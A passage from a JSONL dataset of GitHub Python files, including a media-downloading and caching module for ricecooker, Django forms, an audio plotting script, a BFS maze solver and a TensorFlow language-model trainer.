)\n\n self.lin = nn.Linear(hidden_size, output_size)\n\n def forward(self, x):\n # x: [batch, sequence, input_size]\n lstm_out, _ = self.lstm(x)\n # lstm_out: [batch, sequence, hidden_size]\n last_from_sequence = lstm_out[:, -1, :]\n # last_from_sequence: [batch, hidden_size]\n return self.lin(last_from_sequence)\n # return: [batch, output_size]\n","repo_name":"MariaDukmak/Music-recognition","sub_path":"musicrecognition/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"5309437228","text":"class person():\n name=\"\"\n address=\"\"\n age=0\n def inputDetails(self):\n name=str(raw_input(\"name:\"))\n address = str(raw_input(\"address:\"))\n age = raw_input(\"age:\")\n self.name=name\n self.address = address\n self.age = age\n\n def displayDetails(self):\n print(str(self.name))\n print(str(self.address))\n print(str(self.age))\n \nper=person()\nper.inputDetails()\nper.displayDetails()\n","repo_name":"than0mua/python","sub_path":"venv/ngay5_1/bai4.py","file_name":"bai4.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3573913690","text":"# Node models to represent channel's tree\nfrom __future__ import unicode_literals\n\nimport hashlib\nimport json\nimport os\nimport shutil\nimport tempfile\nimport zipfile\nfrom subprocess import CalledProcessError\nimport youtube_dl\nfrom le_utils.constants import content_kinds,file_formats, format_presets, exercises, languages\nfrom .. import config\nfrom ..exceptions import UnknownFileTypeError\nfrom cachecontrol.caches.file_cache import FileCache\nfrom le_utils.constants import file_formats, format_presets, exercises\nfrom pressurecooker.encodings import get_base64_encoding, write_base64_to_file\nfrom pressurecooker.images import create_tiled_image\nfrom pressurecooker.videos import extract_thumbnail_from_video, guess_video_preset_by_resolution, compress_video\nfrom requests.exceptions import MissingSchema, HTTPError, ConnectionError, InvalidURL, InvalidSchema\n\nfrom .. import config\nfrom ..exceptions import UnknownFileTypeError\n\n# Cache for filenames\nFILECACHE = FileCache(config.FILECACHE_DIRECTORY, forever=True)\n\ndef generate_key(action, path_or_id, settings=None, default=\" (default)\"):\n \"\"\" generate_key: generate key used for caching\n Args:\n action (str): how video is being processed (e.g. COMPRESSED or DOWNLOADED)\n path_or_id (str): path to video or youtube_id\n settings (dict): settings for compression or downloading passed in by user\n default (str): if settings are None, default to this extension (avoid overwriting keys)\n Returns: filename\n \"\"\"\n settings = \" {}\".format(str(sorted(settings.items()))) if settings else default\n return \"{}: {}{}\".format(action.upper(), path_or_id, settings)\n\ndef download(path, default_ext=None):\n \"\"\" download: downloads file\n Args: None\n Returns: filename\n \"\"\"\n key = \"DOWNLOAD:{}\".format(path)\n if not config.UPDATE and FILECACHE.get(key):\n return FILECACHE.get(key).decode('utf-8')\n\n config.LOGGER.info(\"\\tDownloading {}\".format(path))\n\n # Write file to temporary file\n with tempfile.TemporaryFile() as tempf:\n hash = write_and_get_hash(path, tempf)\n tempf.seek(0)\n\n # Get extension of file or default if none found\n extension = os.path.splitext(path)[1][1:].lower()\n if extension not in [key for key, value in file_formats.choices]:\n if default_ext:\n extension = default_ext\n else:\n raise IOError(\"No extension found: {}\".format(path))\n\n filename = '{0}.{ext}'.format(hash.hexdigest(), ext=extension)\n\n copy_file_to_storage(filename, tempf)\n\n FILECACHE.set(key, bytes(filename, \"utf-8\"))\n\n return filename\n\n\ndef write_and_get_hash(path, write_to_file, hash=None):\n \"\"\" write_and_get_hash: write file\n Args: None\n Returns: Hash of file's contents\n \"\"\"\n hash = hash or hashlib.md5()\n try:\n # Access path\n r = config.DOWNLOAD_SESSION.get(path, stream=True)\n r.raise_for_status()\n for chunk in r:\n write_to_file.write(chunk)\n hash.update(chunk)\n\n except (MissingSchema, InvalidSchema):\n # If path is a local file path, try to open the file (generate hash if none provided)\n with open(path, 'rb') as fobj:\n for chunk in iter(lambda: fobj.read(2097152), b\"\"):\n write_to_file.write(chunk)\n hash.update(chunk)\n\n assert write_to_file.tell() > 0, \"File failed to write (corrupted).\"\n\n return hash\n\n\ndef copy_file_to_storage(filename, srcfile, delete_original=False):\n # Some files might have been closed, so only filepath will work\n if isinstance(srcfile, str):\n srcfile = open(srcfile, 'rb')\n\n # Write file to local storage\n with open(config.get_storage_path(filename), 'wb') as destf:\n if delete_original:\n shutil.move(srcfile.name, destf.name)\n else:\n shutil.copyfileobj(srcfile, destf)\n\n\ndef get_hash(filepath):\n file_hash = hashlib.md5()\n with open(filepath, 'rb') as fobj:\n for chunk in iter(lambda: fobj.read(2097152), b\"\"):\n file_hash.update(chunk)\n return file_hash.hexdigest()\n\n\ndef compress_video_file(filename, ffmpeg_settings):\n ffmpeg_settings = ffmpeg_settings or {}\n key = generate_key(\"COMPRESSED\", filename, settings=ffmpeg_settings, default=\" (default compression)\")\n\n if not config.UPDATE and FILECACHE.get(key):\n return FILECACHE.get(key).decode('utf-8')\n\n config.LOGGER.info(\"\\t--- Compressing {}\".format(filename))\n\n tempf = tempfile.NamedTemporaryFile(suffix=\".{}\".format(file_formats.MP4), delete=False)\n tempf.close() # Need to close so pressure cooker can write to file\n compress_video(config.get_storage_path(filename), tempf.name, overwrite=True, **ffmpeg_settings)\n filename = \"{}.{}\".format(get_hash(tempf.name), file_formats.MP4)\n\n copy_file_to_storage(filename, tempf.name)\n os.unlink(tempf.name)\n FILECACHE.set(key, bytes(filename, \"utf-8\"))\n return filename\n\ndef download_from_web(web_url, download_settings, file_format=file_formats.MP4, ext=\"\", download_ext=\"\"):\n key = generate_key(\"DOWNLOADED\", web_url, settings=download_settings)\n if not config.UPDATE and FILECACHE.get(key):\n return FILECACHE.get(key).decode('utf-8')\n\n # Get hash of web_url to act as temporary storage name\n url_hash = hashlib.md5()\n url_hash.update(web_url.encode('utf-8'))\n destination_path = os.path.join(tempfile.gettempdir(), \"{}{ext}\".format(url_hash.hexdigest(), ext=ext))\n download_settings[\"outtmpl\"] = destination_path\n try:\n os.remove(destination_path)\n except Exception:\n pass\n\n with youtube_dl.YoutubeDL(download_settings) as ydl:\n ydl.download([web_url])\n destination_path += download_ext\n filename = \"{}.{}\".format(get_hash(destination_path), file_format)\n\n # Write file to local storage\n with open(destination_path, \"rb\") as dlf, open(config.get_storage_path(filename), 'wb') as destf:\n shutil.copyfileobj(dlf, destf)\n\n FILECACHE.set(key, bytes(filename, \"utf-8\"))\n return filename\n\n\nclass ThumbnailPresetMixin(object):\n\n def get_preset(self):\n thumbnail_preset = self.node.get_thumbnail_preset()\n if thumbnail_preset is None:\n UnknownFileTypeError(\"Thumbnails are not supported for node kind.\")\n return thumbnail_preset\n\n\nclass File(object):\n original_filename = None\n node = None\n error = None\n default_ext = None\n filename = None\n language = None\n assessment_item = None\n\n def __init__(self, preset=None, language=None, default_ext=None, source_url=None):\n self.preset = preset\n self.set_language(language)\n self.default_ext = default_ext or self.default_ext\n self.source_url = source_url\n\n def set_language(self, language):\n self.language = language\n if isinstance(self.language, str):\n self.language = languages.getlang(language)\n if not self.language:\n raise TypeError(\"Language {} is not found\".format(language))\n if isinstance(self.language, languages.Language):\n self.language = self.language.code\n\n def validate(self):\n pass\n\n def get_preset(self):\n if self.preset:\n return self.preset\n raise NotImplementedError(\"preset must be set if preset isn't specified when creating File object\")\n\n def get_filename(self):\n return self.filename or self.process_file()\n\n def to_dict(self):\n filename = self.get_filename()\n\n # If file was successfully downloaded, return dict\n # Otherwise return None\n if filename:\n if os.path.isfile(config.get_storage_path(filename)):\n return {\n 'size' : os.path.getsize(config.get_storage_path(filename)),\n 'preset' : self.get_preset(),\n 'filename' : filename,\n 'original_filename' : self.original_filename,\n 'language' : self.language,\n 'source_url': self.source_url,\n }\n else:\n config.LOGGER.warning(\"File not found: {}\".format(config.get_storage_path(filename)))\n\n return None\n\n def process_file(self):\n # Overwrite in subclasses\n pass\n\n\nclass NodeFile(File):\n default_ext = file_formats.JSON\n allowed_formats = [file_formats.JSON]\n\n def __init__(self, node_metadata, **kwargs):\n self.metadata_json = json.dumps(node_metadata, ensure_ascii=False)\n super(NodeFile, self).__init__(**kwargs)\n\n def process_file(self):\n assert self.metadata_json, \"{} must have node metadata\".format(self.__class__.__name__)\n\n byte_data = self.metadata_json.encode('utf-8')\n with tempfile.TemporaryFile() as temp_file:\n file_hash = hashlib.md5(byte_data)\n temp_file.write(byte_data)\n\n assert temp_file.tell() > 0, \"File failed to write (corrupted).\"\n temp_file.seek(0)\n\n extension = self.default_ext\n file_name = '{0}.{ext}'.format(file_hash.hexdigest(), ext=extension)\n\n copy_file_to_storage(file_name, temp_file)\n\n return file_name\n\n\nclass DownloadFile(File):\n allowed_formats = []\n\n def __init__(self, path, **kwargs):\n self.path = path.strip()\n super(DownloadFile, self).__init__(**kwargs)\n\n def validate(self):\n assert self.path, \"{} must have a path\".format(self.__class__.__name__)\n _basename, ext = os.path.splitext(self.path)\n plain_ext = ext.lstrip('.')\n # don't validate for single-digit extension, or no extension\n if len(plain_ext) > 1:\n assert plain_ext in self.allowed_formats, \"{} must have one of the following extensions: {} (instead, got '{}' from '{}')\".format(self.__class__.__name__, self.allowed_formats, plain_ext, self.path)\n\n def process_file(self):\n try:\n self.filename = download(self.path, default_ext=self.default_ext)\n config.LOGGER.info(\"\\t--- Downloaded {}\".format(self.filename))\n return self.filename\n # Catch errors related to reading file path and handle silently\n except (HTTPError, ConnectionError, InvalidURL, UnicodeDecodeError, UnicodeError, InvalidSchema, IOError, AssertionError) as err:\n self.error = err\n config.FAILED_FILES.append(self)\n\n def __str__(self):\n return self.path\n\nclass ThumbnailFile(ThumbnailPresetMixin, DownloadFile):\n default_ext = file_formats.PNG\n allowed_formats = [file_formats.JPG, file_formats.JPEG, file_formats.PNG]\n\nclass AudioFile(DownloadFile):\n default_ext = file_formats.MP3\n allowed_formats = [file_formats.MP3]\n\n def get_preset(self):\n return self.preset or format_presets.AUDIO\n\nclass DocumentFile(DownloadFile):\n default_ext = file_formats.PDF\n allowed_formats = [file_formats.PDF]\n\n def get_preset(self):\n return self.preset or format_presets.DOCUMENT\n\nclass HTMLZipFile(DownloadFile):\n default_ext = file_formats.HTML5\n allowed_formats = [file_formats.HTML5]\n\n def get_preset(self):\n return self.preset or format_presets.HTML5_ZIP\n\n def process_file(self):\n self.filename = super(HTMLZipFile, self).process_file()\n\n # make sure index.html exists\n with zipfile.ZipFile(config.get_storage_path(self.filename)) as zf:\n try:\n info = zf.getinfo('index.html')\n except KeyError:\n raise IOError(\"HTML zip must have an `index.html` file at topmost level\")\n\n return self.filename\n\n def validate(self):\n super(HTMLZipFile, self).validate()\n\nclass ExtractedVideoThumbnailFile(ThumbnailFile):\n\n def process_file(self):\n self.filename = self.derive_thumbnail()\n config.LOGGER.info(\"\\t--- Extracted thumbnail {}\".format(self.filename))\n return self.filename\n\n def derive_thumbnail(self):\n key = \"EXTRACTED: {}\".format(self.path)\n if not config.UPDATE and FILECACHE.get(key):\n return FILECACHE.get(key).decode('utf-8')\n\n config.LOGGER.info(\"\\t--- Extracting thumbnail from {}\".format(self.path))\n tempf = tempfile.NamedTemporaryFile(suffix=\".{}\".format(file_formats.PNG), delete=False)\n tempf.close()\n extract_thumbnail_from_video(self.path, tempf.name, overwrite=True)\n filename = \"{}.{}\".format(get_hash(tempf.name), file_formats.PNG)\n\n copy_file_to_storage(filename, tempf.name)\n os.unlink(tempf.name)\n FILECACHE.set(key, bytes(filename, \"utf-8\"))\n return filename\n\nclass VideoFile(DownloadFile):\n default_ext = file_formats.MP4\n allowed_formats = [file_formats.MP4]\n\n def __init__(self, path, ffmpeg_settings=None, **kwargs):\n self.ffmpeg_settings = ffmpeg_settings\n super(VideoFile, self).__init__(path, **kwargs)\n\n def get_preset(self):\n return self.preset or guess_video_preset_by_resolution(config.get_storage_path(self.filename))\n\n def process_file(self):\n try:\n # Get copy of video before compression (if specified)\n self.filename = super(VideoFile, self).process_file()\n if self.filename and (self.ffmpeg_settings or config.COMPRESS):\n self.filename = compress_video_file(self.filename, self.ffmpeg_settings)\n config.LOGGER.info(\"\\t--- Compressed {}\".format(self.filename))\n return self.filename\n # Catch errors related to ffmpeg and handle silently\n except (BrokenPipeError, CalledProcessError, IOError) as err:\n self.error = err\n config.FAILED_FILES.append(self)\n\nclass WebVideoFile(File):\n # In future, look into postprocessors and progress_hooks\n def __init__(self, web_url, download_settings=None, high_resolution=True, maxheight=None, **kwargs):\n self.web_url = web_url\n self.download_settings = download_settings or {}\n if \"format\" not in self.download_settings:\n maxheight = maxheight or (720 if high_resolution else 480)\n self.download_settings['format'] = \"bestvideo[height<={maxheight}][ext=mp4]+bestaudio[ext=m4a]/best[height<={maxheight}][ext=mp4]\".format(maxheight=maxheight)\n # self.download_settings['recodevideo'] = file_formats.MP4\n\n super(WebVideoFile, self).__init__(**kwargs)\n\n def get_preset(self):\n return self.preset or guess_video_preset_by_resolution(config.get_storage_path(self.filename))\n\n def process_file(self):\n try:\n self.filename = download_from_web(self.web_url, self.download_settings, ext=\".{}\".format(file_formats.MP4))\n config.LOGGER.info(\"\\t--- Downloaded (YouTube) {}\".format(self.filename))\n return self.filename\n except youtube_dl.utils.DownloadError as err:\n self.error = str(err)\n config.FAILED_FILES.append(self)\n\nclass YouTubeVideoFile(WebVideoFile):\n def __init__(self, youtube_id, **kwargs):\n super(YouTubeVideoFile, self).__init__('http://www.youtube.com/watch?v={}'.format(youtube_id), **kwargs)\n\nclass YouTubeSubtitleFile(File):\n def __init__(self, youtube_id, language=None, **kwargs):\n self.youtube_url = 'http://www.youtube.com/watch?v={}'.format(youtube_id)\n super(YouTubeSubtitleFile, self).__init__(language=language, **kwargs)\n assert self.language, \"Subtitles must have a language\"\n\n def get_preset(self):\n return self.preset or format_presets.VIDEO_SUBTITLE\n\n def process_file(self):\n try:\n self.filename = self.download_subtitle()\n config.LOGGER.info(\"\\t--- Downloaded subtitle {}\".format(self.filename))\n return self.filename\n except FileNotFoundError:\n self.error = str(\"Subtitle with langauge {} is not available for {}\".format(self.language, self.youtube_url))\n config.FAILED_FILES.append(self)\n\n def download_subtitle(self):\n settings = {\n 'skip_download': True,\n 'writesubtitles': True,\n 'subtitleslangs': [self.language],\n 'subtitlesformat': \"best[ext={}]\".format(file_formats.VTT),\n 'quiet': True,\n 'no_warnings': True\n }\n download_ext = \".{lang}.{ext}\".format(lang=self.language, ext=file_formats.VTT)\n return download_from_web(self.youtube_url, settings, file_format=file_formats.VTT, download_ext=download_ext)\n\nclass SubtitleFile(DownloadFile):\n default_ext = file_formats.VTT\n allowed_formats = [file_formats.VTT]\n\n def __init__(self, path, **kwargs):\n super(SubtitleFile, self).__init__(path, **kwargs)\n assert self.language, \"Subtitles must have a language\"\n\n def get_preset(self):\n return self.preset or format_presets.VIDEO_SUBTITLE\n\n\nclass Base64ImageFile(ThumbnailPresetMixin, File):\n\n def __init__(self, encoding, **kwargs):\n self.encoding = encoding\n super(Base64ImageFile, self).__init__(**kwargs)\n\n def process_file(self):\n \"\"\" process_file: Writes base64 encoding to file\n Args: None\n Returns: filename\n \"\"\"\n self.filename = self.convert_base64_to_file()\n config.LOGGER.info(\"\\t--- Converted base64 image to {}\".format(self.filename))\n return self.filename\n\n def convert_base64_to_file(self):\n # Get hash of content for cache key\n hashed_content = hashlib.md5()\n hashed_content.update(self.encoding.encode('utf-8'))\n key = \"ENCODED: {} (base64 encoded)\".format(hashed_content.hexdigest())\n\n if not config.UPDATE and FILECACHE.get(key):\n return FILECACHE.get(key).decode('utf-8')\n\n config.LOGGER.info(\"\\tConverting base64 to file\")\n\n extension = get_base64_encoding(self.encoding).group(1)\n assert extension in [file_formats.PNG, file_formats.JPG, file_formats.JPEG], \"Base64 files must be images in jpg or png format\"\n\n tempf = tempfile.NamedTemporaryFile(suffix=\".{}\".format(extension), delete=False)\n tempf.close()\n write_base64_to_file(self.encoding, tempf.name)\n filename = \"{}.{}\".format(get_hash(tempf.name), file_formats.PNG)\n\n copy_file_to_storage(filename, tempf.name)\n os.unlink(tempf.name)\n FILECACHE.set(key, bytes(filename, \"utf-8\"))\n return filename\n\nclass _ExerciseBase64ImageFile(Base64ImageFile):\n default_ext = file_formats.PNG\n\n def get_preset(self):\n return self.preset or format_presets.EXERCISE_IMAGE\n\n def get_replacement_str(self):\n return self.get_filename() or self.encoding\n\nclass _ExerciseImageFile(DownloadFile):\n default_ext = file_formats.PNG\n\n def get_replacement_str(self):\n return self.get_filename() or self.path\n\n def get_preset(self):\n return self.preset or format_presets.EXERCISE_IMAGE\n\nclass _ExerciseGraphieFile(DownloadFile):\n default_ext = file_formats.GRAPHIE\n\n def __init__(self, path, **kwargs):\n self.original_filename = path.split(\"/\")[-1].split(os.path.sep)[-1].split(\".\")[0]\n super(_ExerciseGraphieFile, self).__init__(path, **kwargs)\n\n def get_preset(self):\n return self.preset or format_presets.EXERCISE_GRAPHIE\n\n def get_replacement_str(self):\n return self.path.split(\"/\")[-1].split(\".\")[0] or self.path\n\n def process_file(self):\n \"\"\" download: download a web+graphie file\n Args: None\n Returns: None\n \"\"\"\n try:\n self.filename = self.generate_graphie_file()\n config.LOGGER.info(\"\\t--- Generated graphie {}\".format(self.filename))\n return self.filename\n # Catch errors related to reading file path and handle silently\n except (HTTPError, ConnectionError, InvalidURL, UnicodeDecodeError, UnicodeError, InvalidSchema, IOError) as err:\n self.error = err\n config.FAILED_FILES.append(self)\n\n def generate_graphie_file(self):\n key = \"GRAPHIE: {}\".format(self.path)\n\n if not config.UPDATE and FILECACHE.get(key):\n return FILECACHE.get(key).decode('utf-8')\n\n # Create graphie file combining svg and json files\n with tempfile.TemporaryFile() as tempf:\n # Initialize hash and files\n delimiter = bytes(exercises.GRAPHIE_DELIMITER, 'UTF-8')\n config.LOGGER.info(\"\\tDownloading graphie {}\".format(self.original_filename))\n\n\n # Write to graphie file\n hash = write_and_get_hash(self.path + \".svg\", tempf)\n tempf.write(delimiter)\n hash.update(delimiter)\n hash = write_and_get_hash(self.path + \"-data.json\", tempf, hash)\n tempf.seek(0)\n filename = \"{}.{}\".format(hash.hexdigest(), file_formats.GRAPHIE)\n\n copy_file_to_storage(filename, tempf)\n\n FILECACHE.set(key, bytes(filename, \"utf-8\"))\n return filename\n\n\nclass TiledThumbnailFile(ThumbnailPresetMixin, File):\n allowed_formats = [file_formats.JPG, file_formats.JPEG, file_formats.PNG]\n\n def __init__(self, source_nodes, **kwargs):\n self.sources = []\n for n in source_nodes:\n images = [f for f in n.files if isinstance(f, ThumbnailFile) and f.get_filename()]\n if len(images) > 0:\n self.sources.append(images[0])\n super(TiledThumbnailFile, self).__init__(**kwargs)\n\n def process_file(self):\n self.filename = self.generate_tiled_image()\n config.LOGGER.info(\"\\t--- Tiled image {}\".format(self.filename))\n return self.filename\n\n def generate_tiled_image(self):\n num_pictures = 0\n if len(self.sources) >= 4:\n num_pictures = 4\n elif len(self.sources) >= 1:\n num_pictures = 1\n else:\n return None\n\n images = [config.get_storage_path(f.get_filename()) for f in self.sources[:num_pictures]]\n key = \"TILED {}\".format(\"+\".join(sorted(images)))\n if not config.UPDATE and FILECACHE.get(key):\n return FILECACHE.get(key).decode('utf-8')\n\n config.LOGGER.info(\"\\tTiling thumbnail for {}\".format(self.node.title))\n with tempfile.NamedTemporaryFile(suffix=\".{}\".format(file_formats.PNG)) as tempf:\n tempf.close()\n create_tiled_image(images, tempf.name)\n filename = \"{}.{}\".format(get_hash(tempf.name), file_formats.PNG)\n\n copy_file_to_storage(filename, tempf.name)\n FILECACHE.set(key, bytes(filename, \"utf-8\"))\n return filename\n\n\n# VectorizedVideoFile\n# UniversalSubsSubtitleFile\n\n# class UniversalSubsSubtitleFile(SubtitleFile):\n# def __init__(self, us_id, language):\n# response = sess.get(\"http://usubs.org/api/{}\".format(us_id))\n# path = json.loads(response.content)[\"subtitle_url\"]\n# return super(UniversalSubsSubtitleFile, self).__init__(path=path, language=language)\n\n","repo_name":"laurenlichtman/ricecooker","sub_path":"ricecooker/classes/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":23016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"5"} +{"seq_id":"71174381911","text":"from django.forms import ModelForm\nfrom django.utils.translation import gettext_lazy as _\nfrom django import forms\n\nfrom administrativo.models import Persona, Barrio, Casa, Departamento\n\nclass PersonaForm(ModelForm):\n class Meta:\n model = Persona\n fields = '__all__'\n\n # Agregar clases de Bootstrap en el formulario.\n def __init__(self, *args, **kwargs):\n super(PersonaForm, self).__init__(*args, **kwargs)\n for visible in self.visible_fields():\n visible.field.widget.attrs['class'] = 'form-control'\n\nclass BarrioForm(ModelForm):\n class Meta:\n model = Barrio\n fields = '__all__'\n\n # Agregar clases de Bootstrap en el formulario.\n def __init__(self, *args, **kwargs):\n super(BarrioForm, self).__init__(*args, **kwargs)\n for visible in self.visible_fields():\n visible.field.widget.attrs['class'] = 'form-control'\n\nclass CasaForm(ModelForm):\n class Meta:\n model = Casa\n fields = '__all__'\n labels = {\n 'num_cuartos': _('Número de cuartos'),\n 'num_pisos': _('Número de pisos'),\n 'valor': _('Valor de bien'),\n 'color': _('Color de inmueble'),\n }\n\n # Agregar clases de Bootstrap en el formulario.\n def __init__(self, *args, **kwargs):\n super(CasaForm, self).__init__(*args, **kwargs)\n for visible in self.visible_fields():\n visible.field.widget.attrs['class'] = 'form-control'\n\nclass DepartamentoForm(ModelForm):\n class Meta:\n model = Departamento\n fields = '__all__'\n labels = {\n 'num_cuartos': _('Número de cuartos'),\n 'valor': _('Valor de bien'),\n }\n\n # Agregar clases de Bootstrap en el formulario.\n def __init__(self, *args, **kwargs):\n super(DepartamentoForm, self).__init__(*args, **kwargs)\n for visible in self.visible_fields():\n visible.field.widget.attrs['class'] = 'form-control'\n","repo_name":"PlataformasWeb-P-AA2021/trafinal-2bim-grupo-destruction","sub_path":"proyecto-django/proyectoUno/administrativo/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"27130676878","text":"import argparse\nimport matplotlib.pyplot as plt\nimport librosa\nimport librosa.display\n\nimport numpy as np\n\nparser = argparse.ArgumentParser(description='Process some integers.')\nparser.add_argument('--refpath', dest='refpath', required=True, help='Ref path or dir')\nparser.add_argument('--degpath', dest='degpath', required=True, help='Deg path or dir')\nparser.add_argument('--noisypath', dest='noisypath', required=True, help='Deg path or dir')\nparser.add_argument('--savepath', dest='savepath', required=True, default=None, help='Save output to csv')\n\nargs = parser.parse_args()\n\ny_ref, sr = librosa.load(args.refpath)\ny_deg, sr = librosa.load(args.degpath)\ny_noisy, sr = librosa.load(args.noisypath)\n\nMAX_SR=22050\n\nSIZE=(20, 15)\n\n######### WAVEFORM ############\nplt.figure(figsize=SIZE)\nplt.subplot(3, 1, 1)\nlibrosa.display.waveplot(y_noisy, sr=sr, max_sr=MAX_SR)\nplt.title(\"Zaszumiony głos\")\nplt.subplot(3, 1, 2)\nlibrosa.display.waveplot(y_deg, sr=sr, max_sr=MAX_SR)\nplt.title(\"Odszumiony głos\")\nplt.subplot(3, 1, 3)\nlibrosa.display.waveplot(y_ref, sr=sr, max_sr=MAX_SR)\nplt.title(\"Czysty głos\")\nplt.savefig(\"{0}_waveform.png\".format(args.savepath))\n##############################\n\nplt.cla()\n\n\nOFFSET=50\nLEN=int(sr/ 20)\ny_noisy_short = y_noisy[OFFSET:OFFSET+LEN]\ny_ref_short = y_ref[OFFSET:OFFSET+LEN]\ny_enh_short = y_deg[OFFSET:OFFSET+LEN]\nplt.figure(figsize=SIZE)\nplt.subplot(2, 1, 1)\nplt.plot(range(0, len(y_ref_short)), y_ref_short, label='Czysty głos')\nplt.plot(range(0, len(y_noisy_short)), y_noisy_short, label='Zaszumiony głos')\nplt.legend(loc=\"upper right\")\nplt.xlabel(\"Czas\")\nplt.subplot(2, 1, 2)\nplt.plot(range(0, len(y_ref_short)), y_ref_short, label='Czysty głos')\nplt.plot(range(0, len(y_enh_short)), y_enh_short, label='Odszumiony głos')\nplt.legend(loc=\"upper right\")\nplt.xlabel(\"Czas\")\nplt.savefig(\"{0}_waveform2.png\".format(args.savepath))\n\nplt.cla()\n\n\n########### MEL #############\n\nn_fft = 2048\nhop_length = 512\nn_mels = 128\n\n\nplt.figure(figsize=SIZE)\nplt.subplot(3, 1, 1)\nS = librosa.feature.melspectrogram(y_noisy, sr=sr, n_fft=n_fft, hop_length=hop_length, n_mels=n_mels)\nS_DB = librosa.power_to_db(S, ref=np.max)\nlibrosa.display.specshow(S_DB, sr=sr, hop_length=hop_length, x_axis='time', y_axis='mel')\nplt.colorbar(format='%+2.0f dB')\nplt.title(\"Zaszumiony głos\")\n\nplt.subplot(3, 1, 2)\nS = librosa.feature.melspectrogram(y_deg, sr=sr, n_fft=n_fft, hop_length=hop_length, n_mels=n_mels)\nS_DB = librosa.power_to_db(S, ref=np.max)\nlibrosa.display.specshow(S_DB, sr=sr, hop_length=hop_length, x_axis='time', y_axis='mel')\nplt.colorbar(format='%+2.0f dB')\nplt.title(\"Odszumiony głos\")\n\nplt.subplot(3, 1, 3)\nS = librosa.feature.melspectrogram(y_ref, sr=sr, n_fft=n_fft, hop_length=hop_length, n_mels=n_mels)\nS_DB = librosa.power_to_db(S, ref=np.max)\nlibrosa.display.specshow(S_DB, sr=sr, hop_length=hop_length, x_axis='time', y_axis='mel')\nplt.colorbar(format='%+2.0f dB')\nplt.title(\"Czysty głos\")\nplt.savefig(\"{0}_mel.png\".format(args.savepath))","repo_name":"michalpawlowicz/WaveRNN","sub_path":"scripts/plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":2978,"program_lang":"python","lang":"uk","doc_type":"code","dataset":"github-code","pt":"5"} +{"seq_id":"34066769148","text":"import queue\ndirections = ((-1, 0), (1, 0), (0, -1), (0, 1))\ndef bfs(q, maze):\n while True:\n cur = q.get()\n for direction in directions:\n next = (cur[0] + direction[0], cur[1] + direction[1])\n try:\n next_val = maze[next[0]][next[1]]\n except:\n continue\n if next_val == '0':\n maze[next[0]][next[1]] = cur\n q.put(next)\n elif next_val == 'E':\n maze[next[0]][next[1]] = cur\n return next\ndef read_maze(maze):\n with open(\"MazeData.txt\") as f:\n while True:\n line = f.readline()\n if not line:\n break\n maze.append(list(line))\ndef init_queue(q):\n for i in range(len(maze)):\n for j in range(len(maze[i])):\n if maze[i][j] == 'S':\n q.put((i, j))\ndef print_path(maze):\n path = list()\n path.append(end)\n while True:\n cur = maze[path[-1][0]][path[-1][1]]\n if cur == 'S':\n break\n path.append(cur)\n while path:\n cur = path.pop()\n print(cur, end = '')\nmaze = list()\nread_maze(maze)\nq = queue.Queue()\ninit_queue(q)\nend = bfs(q, maze)\nprint_path(maze)\n","repo_name":"guzy0324/SYSU","sub_path":"人工智能实验/E01/codes/bfs.py","file_name":"bfs.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"5"} +{"seq_id":"42730341954","text":"from data import Corpus\nimport trainer\nfrom utils import batchify\nimport json\nimport tensorflow as tf\nimport numpy as np\n\n\nwith open('wiki/word2idx.json', 'r') as inp:\n word2idx = json.load(inp)\nwith open('wiki/char2idx.json', 'r') as inp:\n char2idx = json.load(inp)\n\n\nVERSION = 102\nparams = dict(\n model_configs = {\n \"rnn_layers\":[\n {\n \"units\": 1024,\n \"drop_i\": 0.2,\n \"wdrop\": 0.4,\n \"drop_o\": 0.2\n },\n {\n \"units\": 1024,\n \"wdrop\": 0.4,\n \"drop_o\": 0.2\n },\n {\n \"units\": 1024,\n \"drop_o\": 0.2,\n \"wdrop\": 0.4\n }\n ],\n \"vocab_size\": len(word2idx) + 1,\n \"drop_e\": 0.4,\n \"char_vocab_size\": len(char2idx) + 1,\n \"char_cnn_options\": {\n \"layers\": [\n [1, 16],\n [2, 16],\n [3, 32],\n [4, 64],\n [5, 128],\n [6, 256],\n [7, 512]\n ],\n \"n_highways\": 2\n },\n \"char_vec_size\": 16,\n \"projection_dims\": 512,\n \"skip_connection\": True\n },\n optimizer = tf.train.GradientDescentOptimizer,\n negative_samples = 10240,\n wdecay = 1.2e-6,\n alpha = 1e-6,\n beta = 1e-6,\n clip_norm = 0.3,\n bptt = 70,\n use_ema = True,\n save_freq = 1000,\n log_path = '{}/logs'.format(VERSION),\n train_summary_dir = '{}/train_summary/'.format(VERSION),\n test_summary_dir = '{}/test_summary/'.format(VERSION),\n checkpoint_dir = '{}/checkpoints/'.format(VERSION)\n)\n\n\n# In[12]:\n\n\nmy_trainer = trainer.Trainer(**params)\n\nmy_trainer.logger.info('Trainer params {}'.format(params))\n# In[13]:\n\n\ntf.reset_default_graph()\nmy_trainer.build()\n\nwith open('wiki/train_word.npy','rb') as inp:\n train_word = np.load(inp)\nwith open('wiki/train_char.npy','rb') as inp:\n train_char = np.load(inp)\nwith open('wiki/valid_word.npy','rb') as inp:\n valid_word = np.load(inp)\nwith open('wiki/valid_char.npy','rb') as inp:\n valid_char = np.load(inp)\n\ntrain_word = batchify(train_word, 81).T\ntrain_char = batchify(train_char, 81).T\nvalid_word = batchify(valid_word, 72).T\nvalid_char = batchify(valid_char, 72).T\n\nlr = 10.0\nfor _ in range(10000):\n my_trainer.train_dev_loop(train_word, train_char, valid_word, valid_char, lr)\n lr = max(lr / np.sqrt(2.0), 2.0)\n","repo_name":"trungtrinh44/tf-auxiliary","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"38134385396","text":"from datetime import date, timedelta\n\nfrom rich.panel import Panel\nfrom rich.columns import 